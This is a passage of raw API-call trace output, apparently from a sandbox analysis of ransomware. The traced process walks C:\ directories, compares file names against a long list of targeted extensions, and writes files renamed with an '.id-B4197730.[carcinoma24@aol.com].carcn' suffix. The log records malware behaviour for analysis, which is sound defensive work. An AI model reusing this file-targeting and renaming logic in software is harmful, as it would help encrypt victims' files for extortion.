lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0312.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153095.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153095.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0312.715] GetLastError () returned 0x0 [0312.715] ReadFile (hFile=0x370, lpBuffer=0x3e46020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0) Thread: id = 101 os_tid = 0xf98 [0291.256] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xfffe) returned 0x3c50e00 [0291.256] lstrlenW (lpString="C:") returned 2 [0291.256] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x33bfcf8 | out: lpFindFileData=0x33bfcf8) returned 0x7158a8 [0291.257] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0291.257] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent") returned 1 [0291.257] lstrlenW (lpString="$GetCurrent") returned 11 [0291.257] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="$GetCurrent") returned 1 [0291.257] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xfffe) returned 0x3c60e08 [0291.257] lstrlenW (lpString="C:\\$GetCurrent") returned 14 [0291.257] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\*", lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 0x7152e8 [0291.257] FindNextFileW (in: hFindFile=0x7152e8, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.257] FindNextFileW (in: hFindFile=0x7152e8, lpFindFileData=0x33bfa7c | out: lpFindFileData=0x33bfa7c) returned 1 [0291.257] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0291.257] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\$GetCurrent\\Logs") returned 1 [0291.257] lstrlenW (lpString="Logs") returned 4 [0291.257] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="Logs") returned -1 [0291.258] RtlAllocateHeap (HeapHandle=0x700000, Flags=0x0, Size=0xfffe) returned 0x3c70e10 [0291.258] lstrlenW (lpString="C:\\$GetCurrent\\Logs") returned 19 [0291.258] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\Logs\\*", lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 0x7153a8 [0291.259] FindNextFileW (in: hFindFile=0x7153a8, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.259] FindNextFileW (in: hFindFile=0x7153a8, lpFindFileData=0x33bf800 | out: lpFindFileData=0x33bf800) returned 1 [0291.259] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[carcinoma24@aol.com].carcn") returned 77 [0291.259] lstrlenW (lpString=".1cd") returned 4 [0291.259] lstrcmpiW (lpString1=".1cd", lpString2="arcn") returned -1 [0291.259] lstrlenW (lpString=".3ds") returned 4 [0291.259] lstrcmpiW (lpString1=".3ds", lpString2="arcn") returned -1 [0291.259] lstrlenW (lpString=".3fr") returned 4 [0291.259] lstrcmpiW (lpString1=".3fr", lpString2="arcn") returned -1 [0291.259] lstrlenW (lpString=".3g2") returned 4 [0291.259] lstrcmpiW (lpString1=".3g2", lpString2="arcn") returned -1 [0291.259] lstrlenW (lpString=".3gp") returned 4 [0291.259] lstrcmpiW (lpString1=".3gp", lpString2="arcn") returned -1 [0291.259] lstrlenW (lpString=".7z") returned 3 [0291.259] lstrcmpiW (lpString1=".7z", lpString2="rcn") returned -1 [0291.259] lstrlenW (lpString=".accda") returned 6 [0291.260] lstrcmpiW (lpString1=".accda", lpString2=".carcn") returned -1 [0291.260] lstrlenW (lpString=".accdb") returned 6 [0291.260] lstrcmpiW (lpString1=".accdb", lpString2=".carcn") returned -1 [0291.260] lstrlenW (lpString=".accdc") returned 6 [0291.260] lstrcmpiW (lpString1=".accdc", lpString2=".carcn") returned -1 [0291.260] lstrlenW (lpString=".accde") returned 6 [0291.260] lstrcmpiW (lpString1=".accde", lpString2=".carcn") returned -1 [0291.260] lstrlenW (lpString=".accdt") returned 6 [0291.260] lstrcmpiW (lpString1=".accdt", lpString2=".carcn") returned -1 [0291.260] lstrlenW (lpString=".accdw") returned 6 [0291.260] lstrcmpiW (lpString1=".accdw", lpString2=".carcn") returned -1 [0291.260] lstrlenW (lpString=".adb") returned 4 [0291.260] lstrcmpiW (lpString1=".adb", lpString2="arcn") returned -1 [0291.260] lstrlenW (lpString=".adp") returned 4 [0291.260] lstrcmpiW (lpString1=".adp", lpString2="arcn") returned -1 [0291.260] lstrlenW (lpString=".ai") returned 3 [0291.260] lstrcmpiW (lpString1=".ai", lpString2="rcn") returned -1 [0291.260] lstrlenW (lpString=".ai3") returned 4 [0291.260] lstrcmpiW (lpString1=".ai3", lpString2="arcn") returned -1 [0291.260] lstrlenW (lpString=".ai4") returned 4 [0291.260] lstrcmpiW (lpString1=".ai4", lpString2="arcn") returned -1 [0291.260] lstrlenW (lpString=".ai5") returned 4 [0291.260] lstrcmpiW (lpString1=".ai5", lpString2="arcn") returned -1 [0291.260] lstrlenW (lpString=".ai6") returned 4 [0291.260] lstrcmpiW (lpString1=".ai6", lpString2="arcn") returned -1 [0291.260] lstrlenW (lpString=".ai7") returned 4 [0291.260] lstrcmpiW (lpString1=".ai7", lpString2="arcn") returned -1 [0291.260] lstrlenW (lpString=".ai8") returned 4 [0291.260] lstrcmpiW (lpString1=".ai8", lpString2="arcn") returned -1 [0291.260] lstrlenW (lpString=".anim") returned 5 [0291.260] lstrcmpiW (lpString1=".anim", lpString2="carcn") returned -1 [0291.260] lstrlenW (lpString=".arw") returned 4 [0291.260] lstrcmpiW (lpString1=".arw", lpString2="arcn") returned -1 [0291.260] lstrlenW (lpString=".as") returned 3 [0291.261] lstrcmpiW (lpString1=".as", lpString2="rcn") returned -1 [0291.261] lstrlenW (lpString=".asa") returned 4 [0291.261] lstrcmpiW (lpString1=".asa", lpString2="arcn") returned -1 [0291.261] lstrlenW (lpString=".asc") returned 4 [0291.261] lstrcmpiW (lpString1=".asc", lpString2="arcn") returned -1 [0291.261] lstrlenW (lpString=".ascx") returned 5 [0291.261] lstrcmpiW (lpString1=".ascx", lpString2="carcn") returned -1 [0291.261] lstrlenW (lpString=".asm") returned 4 [0291.261] lstrcmpiW (lpString1=".asm", lpString2="arcn") returned -1 [0291.261] lstrlenW (lpString=".asmx") returned 5 [0291.261] lstrcmpiW (lpString1=".asmx", lpString2="carcn") returned -1 [0291.261] lstrlenW (lpString=".asp") returned 4 [0291.261] lstrcmpiW (lpString1=".asp", lpString2="arcn") returned -1 [0291.261] lstrlenW (lpString=".aspx") returned 5 [0291.261] lstrcmpiW (lpString1=".aspx", lpString2="carcn") returned -1 [0291.261] lstrlenW (lpString=".asr") returned 4 [0291.261] lstrcmpiW (lpString1=".asr", lpString2="arcn") returned -1 [0291.261] lstrlenW (lpString=".asx") returned 4 [0291.261] lstrcmpiW (lpString1=".asx", lpString2="arcn") returned -1 [0291.261] lstrlenW (lpString=".avi") returned 4 [0291.261] lstrcmpiW (lpString1=".avi", lpString2="arcn") returned -1 [0291.261] lstrlenW (lpString=".avs") returned 4 [0291.261] lstrcmpiW (lpString1=".avs", lpString2="arcn") returned -1 [0291.261] lstrlenW (lpString=".backup") returned 7 [0291.261] lstrcmpiW (lpString1=".backup", lpString2="].carcn") returned -1 [0291.261] lstrlenW (lpString=".bak") returned 4 [0291.261] lstrcmpiW (lpString1=".bak", lpString2="arcn") returned -1 [0291.261] lstrlenW (lpString=".bay") returned 4 [0291.261] lstrcmpiW (lpString1=".bay", lpString2="arcn") returned -1 [0291.261] lstrlenW (lpString=".bd") returned 3 [0291.261] lstrcmpiW (lpString1=".bd", lpString2="rcn") returned -1 [0291.261] lstrlenW (lpString=".bin") returned 4 [0291.261] lstrcmpiW (lpString1=".bin", lpString2="arcn") returned -1 [0291.261] lstrlenW (lpString=".bmp") returned 4 [0291.261] lstrcmpiW (lpString1=".bmp", lpString2="arcn") returned -1 [0291.262] lstrlenW (lpString=".bz2") returned 4 [0291.262] lstrcmpiW (lpString1=".bz2", lpString2="arcn") returned -1 [0291.262] lstrlenW (lpString=".c") returned 2 [0291.262] lstrcmpiW (lpString1=".c", lpString2="cn") returned -1 [0291.262] lstrlenW (lpString=".cdr") returned 4 [0291.262] lstrcmpiW (lpString1=".cdr", lpString2="arcn") returned -1 [0291.262] lstrlenW (lpString=".cer") returned 4 [0291.262] lstrcmpiW (lpString1=".cer", lpString2="arcn") returned -1 [0291.262] lstrlenW (lpString=".cf") returned 3 [0291.262] lstrcmpiW (lpString1=".cf", lpString2="rcn") returned -1 [0291.262] lstrlenW (lpString=".cfc") returned 4 [0291.262] lstrcmpiW (lpString1=".cfc", lpString2="arcn") returned -1 [0291.262] lstrlenW (lpString=".cfm") returned 4 [0291.262] lstrcmpiW (lpString1=".cfm", lpString2="arcn") returned -1 [0291.262] lstrlenW (lpString=".cfml") returned 5 [0291.262] lstrcmpiW (lpString1=".cfml", lpString2="carcn") returned -1 [0291.262] lstrlenW (lpString=".cfu") returned 4 [0291.263] lstrcmpiW (lpString1=".cfu", lpString2="arcn") returned -1 [0291.263] lstrlenW (lpString=".chm") returned 4 [0291.263] lstrcmpiW (lpString1=".chm", lpString2="arcn") returned -1 [0291.263] lstrlenW (lpString=".cin") returned 4 [0291.263] lstrcmpiW (lpString1=".cin", lpString2="arcn") returned -1 [0291.263] lstrlenW (lpString=".class") returned 6 [0291.263] lstrcmpiW (lpString1=".class", lpString2=".carcn") returned 1 [0291.263] lstrlenW (lpString=".clx") returned 4 [0291.263] lstrcmpiW (lpString1=".clx", lpString2="arcn") returned -1 [0291.263] lstrlenW (lpString=".config") returned 7 [0291.263] lstrcmpiW (lpString1=".config", lpString2="].carcn") returned -1 [0291.263] lstrlenW (lpString=".cpp") returned 4 [0291.263] lstrcmpiW (lpString1=".cpp", lpString2="arcn") returned -1 [0291.263] lstrlenW (lpString=".cr2") returned 4 [0291.263] lstrcmpiW (lpString1=".cr2", lpString2="arcn") returned -1 [0291.263] lstrlenW (lpString=".crt") returned 4 [0291.263] lstrcmpiW (lpString1=".crt", lpString2="arcn") returned -1 [0291.263] lstrlenW (lpString=".crw") returned 4 [0291.264] lstrcmpiW (lpString1=".crw", lpString2="arcn") returned -1 [0291.264] lstrlenW (lpString=".cs") returned 3 [0291.264] lstrcmpiW (lpString1=".cs", lpString2="rcn") returned -1 [0291.264] lstrlenW (lpString=".css") returned 4 [0291.264] lstrcmpiW (lpString1=".css", lpString2="arcn") returned -1 [0291.264] lstrlenW (lpString=".csv") returned 4 [0291.264] lstrcmpiW (lpString1=".csv", lpString2="arcn") returned -1 [0291.264] lstrlenW (lpString=".cub") returned 4 [0291.264] lstrcmpiW (lpString1=".cub", lpString2="arcn") returned -1 [0291.264] lstrlenW (lpString=".dae") returned 4 [0291.264] lstrcmpiW (lpString1=".dae", lpString2="arcn") returned -1 [0291.264] lstrlenW (lpString=".dat") returned 4 [0291.264] lstrcmpiW (lpString1=".dat", lpString2="arcn") returned -1 [0291.264] lstrlenW (lpString=".db") returned 3 [0291.264] lstrcmpiW (lpString1=".db", lpString2="rcn") returned -1 [0291.264] lstrlenW (lpString=".dbf") returned 4 [0291.264] lstrcmpiW (lpString1=".dbf", lpString2="arcn") returned -1 [0291.264] lstrlenW (lpString=".dbx") returned 4 [0291.264] lstrcmpiW (lpString1=".dbx", lpString2="arcn") returned -1 [0291.264] lstrlenW (lpString=".dc3") returned 4 [0291.264] lstrcmpiW (lpString1=".dc3", lpString2="arcn") returned -1 [0291.264] lstrlenW (lpString=".dcm") returned 4 [0291.264] lstrcmpiW (lpString1=".dcm", lpString2="arcn") returned -1 [0291.264] lstrlenW (lpString=".dcr") returned 4 [0291.264] lstrcmpiW (lpString1=".dcr", lpString2="arcn") returned -1 [0291.264] lstrlenW (lpString=".der") returned 4 [0291.264] lstrcmpiW (lpString1=".der", lpString2="arcn") returned -1 [0291.264] lstrlenW (lpString=".dib") returned 4 [0291.264] lstrcmpiW (lpString1=".dib", lpString2="arcn") returned -1 [0291.264] lstrlenW (lpString=".dic") returned 4 [0291.264] lstrcmpiW (lpString1=".dic", lpString2="arcn") returned -1 [0291.264] lstrlenW (lpString=".dif") returned 4 [0291.264] lstrcmpiW (lpString1=".dif", lpString2="arcn") returned -1 [0291.264] lstrlenW (lpString=".divx") returned 5 [0291.265] lstrcmpiW (lpString1=".divx", lpString2="carcn") returned -1 [0291.265] lstrlenW (lpString=".djvu") returned 5 [0291.265] lstrcmpiW (lpString1=".djvu", lpString2="carcn") returned -1 [0291.265] lstrlenW (lpString=".dng") returned 4 [0291.265] lstrcmpiW (lpString1=".dng", lpString2="arcn") returned -1 [0291.265] lstrlenW (lpString=".doc") returned 4 [0291.265] lstrcmpiW (lpString1=".doc", lpString2="arcn") returned -1 [0291.265] lstrlenW (lpString=".docm") returned 5 [0291.265] lstrcmpiW (lpString1=".docm", lpString2="carcn") returned -1 [0291.265] lstrlenW (lpString=".docx") returned 5 [0291.265] lstrcmpiW (lpString1=".docx", lpString2="carcn") returned -1 [0291.265] lstrlenW (lpString=".dot") returned 4 [0291.265] lstrcmpiW (lpString1=".dot", lpString2="arcn") returned -1 [0291.265] lstrlenW (lpString=".dotm") returned 5 [0291.265] lstrcmpiW (lpString1=".dotm", lpString2="carcn") returned -1 [0291.265] lstrlenW (lpString=".dotx") returned 5 [0291.265] lstrcmpiW (lpString1=".dotx", lpString2="carcn") returned -1 [0291.265] lstrlenW (lpString=".dpx") returned 4 [0291.265] lstrcmpiW (lpString1=".dpx", lpString2="arcn") returned -1 [0291.265] lstrlenW (lpString=".dqy") returned 4 [0291.265] lstrcmpiW (lpString1=".dqy", lpString2="arcn") returned -1 [0291.265] lstrlenW (lpString=".dsn") returned 4 [0291.265] lstrcmpiW (lpString1=".dsn", lpString2="arcn") returned -1 [0291.265] lstrlenW (lpString=".dt") returned 3 [0291.265] lstrcmpiW (lpString1=".dt", lpString2="rcn") returned -1 [0291.265] lstrlenW (lpString=".dtd") returned 4 [0291.265] lstrcmpiW (lpString1=".dtd", lpString2="arcn") returned -1 [0291.265] lstrlenW (lpString=".dwg") returned 4 [0291.265] lstrcmpiW (lpString1=".dwg", lpString2="arcn") returned -1 [0291.265] lstrlenW (lpString=".dwt") returned 4 [0291.265] lstrcmpiW (lpString1=".dwt", lpString2="arcn") returned -1 [0291.265] lstrlenW (lpString=".dx") returned 3 [0291.265] lstrcmpiW (lpString1=".dx", lpString2="rcn") returned -1 [0291.266] lstrlenW (lpString=".dxf") returned 4 [0291.266] lstrcmpiW (lpString1=".dxf", lpString2="arcn") returned -1 [0291.266] lstrlenW (lpString=".edml") returned 5 [0291.266] lstrcmpiW (lpString1=".edml", lpString2="carcn") returned -1 [0291.266] lstrlenW (lpString=".efd") returned 4 [0291.266] lstrcmpiW (lpString1=".efd", lpString2="arcn") returned -1 [0291.266] lstrlenW (lpString=".elf") returned 4 [0291.266] lstrcmpiW (lpString1=".elf", lpString2="arcn") returned -1 [0291.266] lstrlenW (lpString=".emf") returned 4 [0291.266] lstrcmpiW (lpString1=".emf", lpString2="arcn") returned -1 [0291.266] lstrlenW (lpString=".emz") returned 4 [0291.266] lstrcmpiW (lpString1=".emz", lpString2="arcn") returned -1 [0291.266] lstrlenW (lpString=".epf") returned 4 [0291.266] lstrcmpiW (lpString1=".epf", lpString2="arcn") returned -1 [0291.266] lstrlenW (lpString=".eps") returned 4 [0291.266] lstrcmpiW (lpString1=".eps", lpString2="arcn") returned -1 [0291.266] lstrlenW (lpString=".epsf") returned 5 [0291.266] lstrcmpiW (lpString1=".epsf", lpString2="carcn") returned -1 [0291.266] lstrlenW (lpString=".epsp") returned 5 [0291.266] lstrcmpiW (lpString1=".epsp", lpString2="carcn") returned -1 [0291.266] lstrlenW (lpString=".erf") returned 4 [0291.266] lstrcmpiW (lpString1=".erf", lpString2="arcn") returned -1 [0291.266] lstrlenW (lpString=".exr") returned 4 [0291.266] lstrcmpiW (lpString1=".exr", lpString2="arcn") returned -1 [0291.266] lstrlenW (lpString=".f4v") returned 4 [0291.266] lstrcmpiW (lpString1=".f4v", lpString2="arcn") returned -1 [0291.266] lstrlenW (lpString=".fido") returned 5 [0291.266] lstrcmpiW (lpString1=".fido", lpString2="carcn") returned -1 [0291.266] lstrlenW (lpString=".flm") returned 4 [0291.266] lstrcmpiW (lpString1=".flm", lpString2="arcn") returned -1 [0291.266] lstrlenW (lpString=".flv") returned 4 [0291.266] lstrcmpiW (lpString1=".flv", lpString2="arcn") returned -1 [0291.266] lstrlenW (lpString=".frm") returned 4 [0291.267] lstrcmpiW (lpString1=".frm", lpString2="arcn") returned -1 [0291.267] lstrlenW (lpString=".fxg") returned 4 [0291.267] lstrcmpiW (lpString1=".fxg", lpString2="arcn") returned -1 [0291.267] lstrlenW (lpString=".geo") returned 4 [0291.267] lstrcmpiW (lpString1=".geo", lpString2="arcn") returned -1 [0291.267] lstrlenW (lpString=".gif") returned 4 [0291.267] lstrcmpiW (lpString1=".gif", lpString2="arcn") returned -1 [0291.267] lstrlenW (lpString=".grs") returned 4 [0291.267] lstrcmpiW (lpString1=".grs", lpString2="arcn") returned -1 [0291.267] lstrlenW (lpString=".gz") returned 3 [0291.267] lstrcmpiW (lpString1=".gz", lpString2="rcn") returned -1 [0291.267] lstrlenW (lpString=".h") returned 2 [0291.267] lstrcmpiW (lpString1=".h", lpString2="cn") returned -1 [0291.267] lstrlenW (lpString=".hdr") returned 4 [0291.267] lstrcmpiW (lpString1=".hdr", lpString2="arcn") returned -1 [0291.267] lstrlenW (lpString=".hpp") returned 4 [0291.267] lstrcmpiW (lpString1=".hpp", lpString2="arcn") returned -1 [0291.267] lstrlenW (lpString=".hta") returned 4 [0291.267] lstrcmpiW (lpString1=".hta", lpString2="arcn") returned -1 [0291.267] lstrlenW (lpString=".htc") returned 4 [0291.267] lstrcmpiW (lpString1=".htc", lpString2="arcn") returned -1 [0291.267] lstrlenW (lpString=".htm") returned 4 [0291.267] lstrcmpiW (lpString1=".htm", lpString2="arcn") returned -1 [0291.267] lstrlenW (lpString=".html") returned 5 [0291.267] lstrcmpiW (lpString1=".html", lpString2="carcn") returned -1 [0291.267] lstrlenW (lpString=".icb") returned 4 [0291.267] lstrcmpiW (lpString1=".icb", lpString2="arcn") returned -1 [0291.267] lstrlenW (lpString=".ics") returned 4 [0291.267] lstrcmpiW (lpString1=".ics", lpString2="arcn") returned -1 [0291.267] lstrlenW (lpString=".iff") returned 4 [0291.267] lstrcmpiW (lpString1=".iff", lpString2="arcn") returned -1 [0291.267] lstrlenW (lpString=".inc") returned 4 [0291.268] lstrcmpiW (lpString1=".inc", lpString2="arcn") returned -1 [0291.268] lstrlenW (lpString=".indd") returned 5 [0291.268] lstrcmpiW (lpString1=".indd", lpString2="carcn") returned -1 [0291.268] lstrlenW (lpString=".ini") returned 4 [0291.268] lstrcmpiW (lpString1=".ini", lpString2="arcn") returned -1 [0291.268] lstrlenW (lpString=".iqy") returned 4 [0291.268] lstrcmpiW (lpString1=".iqy", lpString2="arcn") returned -1 [0291.268] lstrlenW (lpString=".j2c") returned 4 [0291.268] lstrcmpiW (lpString1=".j2c", lpString2="arcn") returned -1 [0291.268] lstrlenW (lpString=".j2k") returned 4 [0291.268] lstrcmpiW (lpString1=".j2k", lpString2="arcn") returned -1 [0291.268] lstrlenW (lpString=".java") returned 5 [0291.268] lstrcmpiW (lpString1=".java", lpString2="carcn") returned -1 [0291.268] lstrlenW (lpString=".jp2") returned 4 [0291.268] lstrcmpiW (lpString1=".jp2", lpString2="arcn") returned -1 [0291.268] lstrlenW (lpString=".jpc") returned 4 [0291.268] lstrcmpiW (lpString1=".jpc", lpString2="arcn") returned -1 [0291.268] lstrlenW (lpString=".jpe") returned 4 [0291.268] lstrcmpiW (lpString1=".jpe", lpString2="arcn") returned -1 [0291.268] lstrlenW (lpString=".jpeg") returned 5 [0291.268] lstrcmpiW (lpString1=".jpeg", lpString2="carcn") returned -1 [0291.268] lstrlenW (lpString=".jpf") returned 4 [0291.268] lstrcmpiW (lpString1=".jpf", lpString2="arcn") returned -1 [0291.268] lstrlenW (lpString=".jpg") returned 4 [0291.268] lstrcmpiW (lpString1=".jpg", lpString2="arcn") returned -1 [0291.268] lstrlenW (lpString=".jpx") returned 4 [0291.268] lstrcmpiW (lpString1=".jpx", lpString2="arcn") returned -1 [0291.268] lstrlenW (lpString=".js") returned 3 [0291.268] lstrcmpiW (lpString1=".js", lpString2="rcn") returned -1 [0291.268] lstrlenW (lpString=".jsf") returned 4 [0291.268] lstrcmpiW (lpString1=".jsf", lpString2="arcn") returned -1 [0291.268] lstrlenW (lpString=".json") returned 5 [0291.268] lstrcmpiW (lpString1=".json", lpString2="carcn") returned -1 [0291.269] lstrlenW (lpString=".jsp") returned 4 [0291.269] lstrcmpiW (lpString1=".jsp", lpString2="arcn") returned -1 [0291.269] lstrlenW (lpString=".kdc") returned 4 [0291.269] lstrcmpiW (lpString1=".kdc", lpString2="arcn") returned -1 [0291.269] lstrlenW (lpString=".kmz") returned 4 [0291.269] lstrcmpiW (lpString1=".kmz", lpString2="arcn") returned -1 [0291.269] lstrlenW (lpString=".kwm") returned 4 [0291.269] lstrcmpiW (lpString1=".kwm", lpString2="arcn") returned -1 [0291.269] lstrlenW (lpString=".lasso") returned 6 [0291.269] lstrcmpiW (lpString1=".lasso", lpString2=".carcn") returned 1 [0291.269] lstrlenW (lpString=".lbi") returned 4 [0291.269] lstrcmpiW (lpString1=".lbi", lpString2="arcn") returned -1 [0291.269] lstrlenW (lpString=".lgf") returned 4 [0291.269] lstrcmpiW (lpString1=".lgf", lpString2="arcn") returned -1 [0291.269] lstrlenW (lpString=".lgp") returned 4 [0291.269] lstrcmpiW (lpString1=".lgp", lpString2="arcn") returned -1 [0291.269] lstrlenW (lpString=".log") returned 4 [0291.269] lstrcmpiW (lpString1=".log", lpString2="arcn") returned -1 [0291.269] lstrlenW (lpString=".m1v") returned 4 [0291.269] lstrcmpiW (lpString1=".m1v", lpString2="arcn") returned -1 [0291.269] lstrlenW (lpString=".m4a") returned 4 [0291.269] lstrcmpiW (lpString1=".m4a", lpString2="arcn") returned -1 [0291.270] lstrlenW (lpString=".m4v") returned 4 [0291.270] lstrcmpiW (lpString1=".m4v", lpString2="arcn") returned -1 [0291.270] lstrlenW (lpString=".max") returned 4 [0291.270] lstrcmpiW (lpString1=".max", lpString2="arcn") returned -1 [0291.270] lstrlenW (lpString=".md") returned 3 [0291.270] lstrcmpiW (lpString1=".md", lpString2="rcn") returned -1 [0291.270] lstrlenW (lpString=".mda") returned 4 [0291.270] lstrcmpiW (lpString1=".mda", lpString2="arcn") returned -1 [0291.270] lstrlenW (lpString=".mdb") returned 4 [0291.270] lstrcmpiW (lpString1=".mdb", lpString2="arcn") returned -1 [0291.270] lstrlenW (lpString=".mde") returned 4 [0291.270] lstrcmpiW (lpString1=".mde", lpString2="arcn") returned -1 [0291.270] lstrlenW (lpString=".mdf") returned 4 [0291.270] lstrcmpiW (lpString1=".mdf", lpString2="arcn") returned -1 [0291.270] lstrlenW (lpString=".mdw") returned 4 [0291.270] lstrcmpiW (lpString1=".mdw", lpString2="arcn") returned -1 [0291.270] lstrlenW (lpString=".mef") returned 4 [0291.270] lstrcmpiW (lpString1=".mef", lpString2="arcn") returned -1 [0291.270] lstrlenW (lpString=".mft") returned 4 [0291.270] lstrcmpiW (lpString1=".mft", lpString2="arcn") returned -1 [0291.270] lstrlenW (lpString=".mfw") returned 4 [0291.270] lstrcmpiW (lpString1=".mfw", lpString2="arcn") returned -1 [0291.270] lstrlenW (lpString=".mht") returned 4 [0291.270] lstrcmpiW (lpString1=".mht", lpString2="arcn") returned -1 [0291.270] lstrlenW (lpString=".mhtml") returned 6 [0291.270] lstrcmpiW (lpString1=".mhtml", lpString2=".carcn") returned 1 [0291.270] lstrlenW (lpString=".mka") returned 4 [0291.270] lstrcmpiW (lpString1=".mka", lpString2="arcn") returned -1 [0291.270] lstrlenW (lpString=".mkidx") returned 6 [0291.270] lstrcmpiW (lpString1=".mkidx", lpString2=".carcn") returned 1 [0291.270] lstrlenW (lpString=".mkv") returned 4 [0291.270] lstrcmpiW (lpString1=".mkv", lpString2="arcn") returned -1 [0291.270] lstrlenW (lpString=".mos") returned 4 [0291.270] lstrcmpiW (lpString1=".mos", lpString2="arcn") returned -1 [0291.270] lstrlenW (lpString=".mov") returned 4 [0291.271] lstrcmpiW (lpString1=".mov", lpString2="arcn") returned -1 [0291.271] lstrlenW (lpString=".mp3") returned 4 [0291.271] lstrcmpiW (lpString1=".mp3", lpString2="arcn") returned -1 [0291.271] lstrlenW (lpString=".mp4") returned 4 [0291.271] lstrcmpiW (lpString1=".mp4", lpString2="arcn") returned -1 [0291.271] lstrlenW (lpString=".mpeg") returned 5 [0291.271] lstrcmpiW (lpString1=".mpeg", lpString2="carcn") returned -1 [0291.271] lstrlenW (lpString=".mpg") returned 4 [0291.271] lstrcmpiW (lpString1=".mpg", lpString2="arcn") returned -1 [0291.271] lstrlenW (lpString=".mpv") returned 4 [0291.271] lstrcmpiW (lpString1=".mpv", lpString2="arcn") returned -1 [0291.271] lstrlenW (lpString=".mrw") returned 4 [0291.271] lstrcmpiW (lpString1=".mrw", lpString2="arcn") returned -1 [0291.271] lstrlenW (lpString=".msg") returned 4 [0291.271] lstrcmpiW (lpString1=".msg", lpString2="arcn") returned -1 [0291.271] lstrlenW (lpString=".mxl") returned 4 [0291.271] lstrcmpiW (lpString1=".mxl", lpString2="arcn") returned -1 [0291.271] lstrlenW (lpString=".myd") returned 4 [0291.271] lstrcmpiW (lpString1=".myd", lpString2="arcn") returned -1 [0291.271] lstrlenW (lpString=".myi") returned 4 [0291.271] lstrcmpiW (lpString1=".myi", lpString2="arcn") returned -1 [0291.271] lstrlenW (lpString=".nef") returned 4 [0291.271] lstrcmpiW (lpString1=".nef", lpString2="arcn") returned -1 [0291.271] lstrlenW (lpString=".nrw") returned 4 [0291.271] lstrcmpiW (lpString1=".nrw", lpString2="arcn") returned -1 [0291.271] lstrlenW (lpString=".obj") returned 4 [0291.271] lstrcmpiW (lpString1=".obj", lpString2="arcn") returned -1 [0291.271] lstrlenW (lpString=".odb") returned 4 [0291.271] lstrcmpiW (lpString1=".odb", lpString2="arcn") returned -1 [0291.271] lstrlenW (lpString=".odc") returned 4 [0291.271] lstrcmpiW (lpString1=".odc", lpString2="arcn") returned -1 [0291.271] lstrlenW (lpString=".odm") returned 4 [0291.271] lstrcmpiW (lpString1=".odm", lpString2="arcn") returned -1 [0291.271] lstrlenW (lpString=".odp") returned 4 [0291.272] lstrcmpiW (lpString1=".odp", lpString2="arcn") returned -1 [0291.272] lstrlenW (lpString=".ods") returned 4 [0291.272] lstrcmpiW (lpString1=".ods", lpString2="arcn") returned -1 [0291.272] lstrlenW (lpString=".oft") returned 4 [0291.272] lstrcmpiW (lpString1=".oft", lpString2="arcn") returned -1 [0291.272] lstrlenW (lpString=".one") returned 4 [0291.272] lstrcmpiW (lpString1=".one", lpString2="arcn") returned -1 [0291.272] lstrlenW (lpString=".onepkg") returned 7 [0291.272] lstrcmpiW (lpString1=".onepkg", lpString2="].carcn") returned -1 [0291.272] lstrlenW (lpString=".onetoc2") returned 8 [0291.272] lstrcmpiW (lpString1=".onetoc2", lpString2="m].carcn") returned -1 [0291.272] lstrlenW (lpString=".opt") returned 4 [0291.272] lstrcmpiW (lpString1=".opt", lpString2="arcn") returned -1 [0291.272] lstrlenW (lpString=".oqy") returned 4 [0291.272] lstrcmpiW (lpString1=".oqy", lpString2="arcn") returned -1 [0291.272] lstrlenW (lpString=".orf") returned 4 [0291.272] lstrcmpiW (lpString1=".orf", lpString2="arcn") returned -1 [0291.272] lstrlenW (lpString=".p12") returned 4 [0291.272] lstrcmpiW (lpString1=".p12", lpString2="arcn") returned -1 [0291.272] lstrlenW (lpString=".p7b") returned 4 [0291.272] lstrcmpiW (lpString1=".p7b", lpString2="arcn") returned -1 [0291.272] lstrlenW (lpString=".p7c") returned 4 [0291.272] lstrcmpiW (lpString1=".p7c", lpString2="arcn") returned -1 [0291.272] lstrlenW (lpString=".pam") returned 4 [0291.272] lstrcmpiW (lpString1=".pam", lpString2="arcn") returned -1 [0291.272] lstrlenW (lpString=".pbm") returned 4 [0291.272] lstrcmpiW (lpString1=".pbm", lpString2="arcn") returned -1 [0291.272] lstrlenW (lpString=".pct") returned 4 [0291.272] lstrcmpiW (lpString1=".pct", lpString2="arcn") returned -1 [0291.272] lstrlenW (lpString=".pcx") returned 4 [0291.272] lstrcmpiW (lpString1=".pcx", lpString2="arcn") returned -1 [0291.272] lstrlenW (lpString=".pdd") returned 4 [0291.272] lstrcmpiW (lpString1=".pdd", lpString2="arcn") returned -1 [0291.272] lstrlenW (lpString=".pdf") returned 4 [0291.273] lstrcmpiW (lpString1=".pdf", lpString2="arcn") returned -1 [0291.273] lstrlenW (lpString=".pdp") returned 4 [0291.273] lstrcmpiW (lpString1=".pdp", lpString2="arcn") returned -1 [0291.273] lstrlenW (lpString=".pef") returned 4 [0291.273] lstrcmpiW (lpString1=".pef", lpString2="arcn") returned -1 [0291.273] lstrlenW 